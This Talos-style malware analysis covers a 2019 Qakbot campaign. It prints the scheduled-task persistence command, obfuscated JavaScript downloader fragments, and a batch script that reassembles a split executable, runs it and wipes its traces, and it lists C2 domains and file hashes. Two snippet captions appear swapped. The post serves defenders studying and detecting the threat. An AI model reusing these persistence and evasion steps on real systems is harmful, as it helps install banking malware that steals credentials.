Qakbot levels up with new obfuscation techniques

By Ashlee Benge

Published: 2019-05-02 · Archived: 2026-04-10 03:05:13 UTC

Thursday, May 2, 2019 11:04

Executive summary

Qakbot, also known as Qbot, is a well-documented banking trojan that has been around since 2008. Recent Qakbot campaigns, however, are utilizing an updated persistence mechanism that can make it harder for users to detect and remove the trojan. Qakbot is known to target businesses with the hope of stealing their login credentials and eventually draining their bank accounts. Qakbot has long utilized scheduled tasks to maintain persistence. In this blog post, we will detail an update to these schedule tasks that allows Qakbot to maintain persistence and potentially evade detection.

Infection chain

Victims of this malware are typically infected via a dropper. Once infected, a victim machine will create a scheduled task. This task will execute a JavaScript downloader that makes a request to one of several hijacked domains.

The command line string that create this task is:

C:\Windows\system32\schtasks.exe /create /tn {guid} /tr cmd.exe /C "start /MIN C:\Windows\system32\cscript.exe /E:javascript "C:\Users\USERNAME\ymwoyf.wpl" /sc WEEKLY /D TUE,WED,THU /ST 12:00:00 /F

This downloader is executed using the command:

cmd.exe /C start /MIN C:\Windows\system32\cscript.exe /E:javascript C:\ProgramData\\puigje.wpl" C:\Windows\system32\cscript.exe /E:javascript C:\ProgramData\puigje.wpl

Cisco Talos first observed a spike in requests to these hijacked domains on April 2, 2019. This coincides with DNS changes made to these domains on March 19, 2019. Additionally, the comment string "CHANGES 15.03.19" is contained within the malicious JavaScript downloader, suggesting this actor updated the code on March 15. This indicates that these changes to the Qbot persistence mechanism seem to coincide with the launch of a new campaign.

```
function dszim(data)
{
var ytvmg = "";
for (var i = 0; i < data.length; i++) {
var aehjin = data.charCodeAt(i);

if (!(aehjin >= 0x41 && aehjin <= 0x5A) && !(aehjin >= 0x61 && aehjin <= 0x7A) && !(aehjin >= 0x30 && aehjin <= 0x39)) {
return null;
}
}
var vssuo = fvwdfz( data.slice(0,40) );

var ojni = pgikju(vssuo, fvwdfz( data.slice(40,data.length) ) );

var ovqfc = ojni.slice(0,20);
var iglh = fqmuo(ovqfc);
var ljmageni = ojni.slice(20,ojni.length);
var i_fi = ehjwtjoy(ljmageni);

if (iglh != i_fi) {
return null;
 }

return ljmageni;
}
```

An example downloader with dated comment line.

This downloader always requests the URI "/datacollectionservice[.]php3." from these hijacked domains. The domains used by the downloader for this request are XOR encrypted at the beginning of the JavaScript. The response to this request is obfuscated data that will be saved as (randalpha)_1.zzz and (randalpha)_2.zzz. The first 1,000 bytes of data are saved to the first .zzz file, while the remainder goes to the second file. The data in these files is decrypted with the code contained in the JavaScript downloader.

```
@echo off
type C:\ProgramData\HlTzw7GK_1.zzz C:\ProgramData\HlTzw7GK_2.zzz >
C:\ProgramData\HlTzw7GK.exe
start C:\ProgramData\HlTzw7GK.exe
schtasks.exe /Delete /TN HlTzw7GK /F
del /Q /F C:\ProgramData\HlTzw7GK_1.zzz C:\ProgramData\HlTzw7GK_2.zzz
DEL "%~f0"
```

An example of the JavaScript used to decode the obfuscated .zzz files.

Additionally, a scheduled task is created to execute a batch file.

```
//CHANGES 15.03.19
function ehjwtjoy(pxct) {
  var pbdkoxja= ljwzvw(fttep(hklo(pxct), pxct.length*8));
  var temp_array = "0"+"123456789abcdef";
  var ltuz= "";
  for (var i= 0; i<pbdkoxja.length; i++) {
    var dxarurxy= pbdkoxja.charCodeAt(i);
    ltuz+= temp_array.charAt((dxarurxy>>4)&0xF) + temp_array.charAt(dxarurxy&0xF);
```

An example of this batch file.

This code serves to reassemble the malicious Qakbot executable from the two .zzz files, using the type command. The two .zzz files are then deleted after the reassembled executable is run. The functionality of the Qakbot malware remains the same.

Conclusion

There has been a change in the infection chain of Qakbot that makes it more difficult for traditional anti-virus software to detect. This may allow the download of the malware to go undetected, as the malware is obfuscated when it is downloaded and saved in two separate files. These files are then decrypted and reassembled using the type command. Detection that is focused on seeing the full transfer of the malicious executable would likely miss this updated version of Qakbot. Because of this update to persistence mechanisms, the transfer of the malicious Qbot binary will be obfuscated to the point that some security products could miss it.

Coverage

Ways our customers can detect and block this threat are listed below.

PRODUCT	PROTECTION
AMP	✔
CloudLock	N/A
CWS	✔
Email Security	✔
Network Security	✔
Threat Grid	✔
Umbrella	✔
WSA	✔

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware detailed in this post. Below is a screenshot showing how AMP can protect customers from this threat. Try AMP for free here.

Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

Additional protections with context to your specific environment and threat data are available from the Firepower Management Center.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

IOCs

C2 domains observed

lg[.]prodigyprinting[.]com
hp[.]prodigyprinting[.]com
layering[.]wyattspaintbody[.]net
painting[.]duncan-plumbing[.]com

Qakbot hashes

00e4f65b721b334c3aa40e0c0fdc63107965874981fbfef1fc6a3ebb9d6c8d1c
042b8c8ae4525b7fd067c6960def5bb01817bf884db9db0db42c2a3cb10ff327
0633c16d45f6fdc9fd6ba13c86572bfb571e2307ea051e2c119b59458000b51d
0dbf3f0a6a6b77eddd6e63849f2cea98edb855847a51ec313e7b764c5a5a3a59
104d491cd7c6e3f7930edb780bed08fc88012a0f7f77f01ef987f270c9169b49
1430582ad86023fe4b75f4721158ab72c28bef13592ad4462ac30f7b0784cc37
20e53f19fb58b36c93fff100d0e003ff6e88017d6ee6ae8e56d72ba3e1827250
21898a62a58602b67b39ea4c5ce971be4d73c861a1abff22337d2531f7b18d29
2f5b2a72e40226c54871113b18d4e62c76d4cd05eb50a84c02774ed13daee411
33e97cb8c1508b7795748e54634ebcd9b04259f14ef1f5dce32bad765885649a
386796dcf6f731d43182b57dcaf1f7a9db346f84fdde59ea4c40e574983dd4e3
3bd16f8213ff33b7e6ad5ba0974c2674e9a8f5a4b2a914006dbe060cec57d56e
3c5fe3251afef44143b119f6ca45503dda70b51e006b882e9b0666a380c99774
3f1eb5d603074d6d56d99cad4a31fad015e45855e9dbf0ea3ae1969077358a25
42f6a0b64b8dda86c3905a12c3921ead06fa3f24b1231d1bcac7762fb54437d2
45cbe796d27e48e8983eba169a72c5c3da03053ffd9ea519173482bed8af666e
47df7cecfaf49a99c3ac8ebd5b47e4afe46658428dfc4818d7a968e0d84d6e19
482f9255b94f1a7813e3cf631ac4bd14c559694b6162fadc6888a83d5c8f18dd
485dda6eb0574979a04ba831df8ca0588cf034b3005d17153fb56088d31fd487
4ca4665d30d38df77d13ed756d2310faaabc42e3eb3a1b18c26e1698f3e073bd
4efdd3448fbaaa164c0735891512ece65f78d9160ffef0f1983e9539b1c502d7
507d93bc04f4a52e451ec8e212f52397ff25b93e4ea3c9ab54fdd24c2c200171
523789702a134745c78a1430ccc1704650181b2f4f773862d44d45ccf139b93f
52b9d903cf6e578f781af3b1f38263fb2d81282a188e25cacf765d723d3de563
5ac4fbe00b773cbeb52c58234a5d2676f1cf0961385eb6b73934fccdf82a6605
630ba9a1630e90bdbe3d1f63161dc07714818f5b3010f6f9af6e624746529975
6372b115bd5eb33d586519ce478ce161420c53e3d92103f2d8b2bb0e6efedfb8
63cb6cf78b6263ccb6308de73f8084debacf62b88315809473f5b7ffbf9fcbf8
668e1c7275dd3000fd0f24f2a5f9004fc5fd5293c646ad44882122889a99f353
68b9de2981e3d74fbc83b3e26a45eda5611fd1791362d775e12b6db5f1f5f646
6d0f5953b6a2234e00e720b297cdfa12a4d9074a92b85e9e5c508938b5907a0a
6e840301949f41830b927ef569e581d349820387a3ff45a90ef4ec8e4f6f0e86

6f840523ce151950e40e24bfedc27e6ba17a9f65b2a4c3105b543b44e153037d
7086dd6a001e339ae9f789301de2fda398964799094587d55a8860199cdcbcba
72a45d06936294c83c321d4fb312bdaa9b3afdc089975021f4b80d1046f62623
75822e46bf9e827346da33141b8b69bb6210a29f2996d246d565e9567f95e9fe
7758f78992fe71389e36b63d0b22f174d67b8139a80c96df5ebdcef7f1eaa954
7772c892e7a846a7c7d852b73237f2d5e3aea485d423ddccfd7b66262b2a0a7a
77833ef35c69cee4d6c43b13330ef71f08db13290d3d079040ab5d0298a57ccf
78b83e6f1612dd86338faadbccd2b05ecdbcdf221ab694daa6fe1ce0928e2d68
78e917a47f28905498694ec901ae7619c46c71d5f57879ad0a43a451d107b8a1
7e9e493e41fab952e0a5681782a54954447abc3df6ef1d1860e59e586ea6c990
81788d067834ea0298b88cc251ac4b56820bbb85c77345b35886c9af1b139e1c
82bf2bf053fc21efd2b09403bb489d1f32e30ff4523a50963f05394524264ac6
83a60ac3d70283ff82eeacdb500a204170c5ffcc6f59cbc30c0e7a5410ecb293
83c4d91f93f56abf7504faa83a01a84210eb55de991131240a55dd22cb3cb55a
87bf71ceaeacb6a70d86e6ff96ba4e1d2232c2b84242e8cef7ba30b5de47b4a4
89b01325e7a7a8e41d598d07efec7ade3b5da72a97d0a02054c8be8edf41ceb7
8a8e093089e7d144e5cbef20b5010a27da9c29ac0d64a924bb311a3a50ea5b05
8b88a48e14aec83e1c87fe6ca7a66ad718a82276766756f5741fb446bfc0db8f
8bbb44176e94f4e65cc6862e62f3b1544617edc889105e9af07886c0a62942ac
8fa303e89e0f25b4929d3a175c948e3b5a1b257a50911f3eeaaab7f3218077e3
9430fe8f223db4b551ed77e61ac6d38efee348940018ae9e1c15827f53cc618d
9548afeb0037077a1e98feabe952472b6882eccd4c8ef6e1d3a93370198fa6a5
99005c7ebde6c9d72e84fbf246c7b8aacc8e3c39132834b846a5ed4d49b1dcd5
9926bc84e414ad65947461955bf043fe1dd11358f5d517785f6d0571b9acf548
996ebea3b2e4b269cc10051f8a5d90cb0e68dee16a6000ff35bac85cb17024d4
9f2bf3c3efdd1e388f87a64bac0bfc4b756cc923b428e85ef9e67a86f79c0bc7
a0ea5b224ee2a85334cf434805edb9dd57b100975fd3c0a564b03d28a5203ee2
a4416996ae9e25b496a343f5a94366ea33ac8797eccd289a83402978b03d371f
aa11c00bc40f9bea2aff915d9cbf89e067aabdf764e52d664e7337545ffca04b
abdcb3156ed4bcc5bce29f621ee8593fec625f74b3d1580cd1aa6e7557f822cf
bd1190f7470b3219446024c9b85d1533d5ba56d24bcc618adfb05333c350ec8b
bddac88644d3e23abba825283df777b76676b5348fd7225aa3dc3ead39ff7201
bef299f5cff4b601adc6c8cde21d22465d19846f2f97d81fa8ea2439a4867864
c075b937f4ad0b6077253ad1ebc8cf531c6f1ba167f90cd6ed77fc7a44684340
c4f10d10da4598d970ada132f7a476f74902143567d45afd4858d4d9fa7210af
c6edaa1e6125faddacb34f5f567cbb78abb1c138f970d914b95fdd4499052aa0
c6ef40e940c92b8399792521eb677f5238e21ecf99834826990153efa41064ba
c77ed215f5ca3eb4b5ab6926b32392c4d58bcaaa9ad1d585632372e7f059360f
c97049d43b38577c01ef508c6ba5f6d15a3002728e5896b5d4982ee206a12a8b
cd00617dd8eac1a70bff92d029861487197eb486deb0c4c66542af50309bc535
cd9d8c6c3bc14559d5da15887c5c12be6ac6241b9c36d1fcc0063ad489d14bb5
cdac2ca810ed43d4bd9bf7ade4b0a8dbc26fbeed3f11eee1aa5cb8334b6d6105

d8b5067443c940864e972369e259a0826bb3774487c8605d6e5e870510d41504
da823b80766ffc75ed32751ea6ded68e132976d28416fb78bddccd489372f069
e30ddbd161e44cf7823b1850604d1cf87d4b9c9af8d0407bde05e7bb758a0559
e3f9e76406739c68be2cd6a228131a63662e16fcf757c6251f5e4d0905ab3cd0
e8f943454ab41dbd019434e0716d923fb87547cf73306b164ada93612d5f263f
e8fff8ac794b44fade6bdf14f08104012bafff894e44003b84808a5bfd2cebbb
e946b516013cb6cff31e21ee2ccabd1b8ce1e5ed5a4f9e36ffad07c4d880e417
edf907d35b16877a6ff344bdb62852f0f1c418bc4f83072b518204e398e61365
f9969aaab5276399d486a0619840e41e63340c1106f1e2652eb098052d8a2241
fa3bc57c23c5f60050d5b6673681d8bc170d5c9417cfc4c231d3794800400315
fe294978397abe1f23b88e47a94d516c977cd0c9cb368bcdc20f5f3899daf6bd

Javascript hashes

dd8c25c7483acb627935b3ec6de505aa7fdf95ee4db8108b89d0deb57510217c
581fe44b3da62d2155452beeda2f20f63fa042271a97cd8e016b4f6f6f8b575f
37f2b74550724859eb8b30fd60d8580c0e4eb6dc64d5d55e46774967fb0b9719
9a849f42734c1bad3fa3c3b5cb5d8781c21e6241f8977636774384e6177756f2
88b780e35400a63e5f2526e67287508865801f4c176b449c9bd9897a6f4d099e
b853bf59cbfa95d5c76c76b5cf583d867929ffd164e248e33f55929ce0f65456
84defbc371379f548cbfc7837128f33c35a2a95835d93e287c6c2f7f8428d910
fa209beccf0fe4883b900462ecdf25f7a405adc962f393e116a556f4018773a3
f7ea4652a096c007a233fb588d7a1b129a1b68829f78d58bb67b33c3582f032d
16ea880880c3466e3ff95bc3df309242861b0d43600862b0e9f563bda90d00d3
11447fbf6b64d137ab09ae7c861719169650a06ccc44abf0bcbbac8f5830343b
e57062a03e0397ba7b5edba76b92f6e00e00a3f5f3126335a152803ba9dea5a9
f3667a47b00bd70f06cefa19de31ccd818095638059f2fe237096741c6b47863
86e07fcea780307b1ef2151b19a411702629471937b5b8998203ee0bb648c14
d0fefd2af365336288bc8d7c9bb3d840e483cccf8c2afe493e3dc71e402a78c8
3876816f0cc13e72c2ed64e857090c6a78106b9accc5f8d8fd90652a293890be
170f58ca16e031ce31d117ba36a525189cfe4a08fece3fe1d65f18d293e2c7fe
e64d432aac6c9209d84b9e9b9b77bae4148dba91f49e2871c6a14a2d0777e8e0
8041bc11d40ef808f9a25a5b3d2104aa67e6ba5a696d1bd352ccdf8b3039df9b
1333715b86d4009eb40b92675ed494dda786c275ccdcd59644ea3b0408df3d08
59dbf5984c48109a16de20656a3305269f4afa66e8864276e69d900d6cfe92c0
5468b140b70a7c6566cc7bc60e11e32d0165015df59fc448588fa9f7c68a5c94
82a13c434e21f40bf5f1e7e2694784e2152834c3c5e7188026efd4d698d63d8d
2ce2651e7ea2ece2b45cadbf7ef916a998d14bbf3830631cf1de6c4c28a97d80
ce65b98b78ee749c5db5cb678cb6a8f21f568446a9e7433f6cb3c2d648602512
b76cc76001cb245697bab1d14b0b0a9c85dc0a034d70f70cc7b4a207124b932f
c9ce209cbc4d3a733ed2dc6ff65318ab0d49506a9b406e8c11805b762c80d2b0

Source: https://blog.talosintelligence.com/2019/05/qakbot-levels-up-with-new-obfuscation.html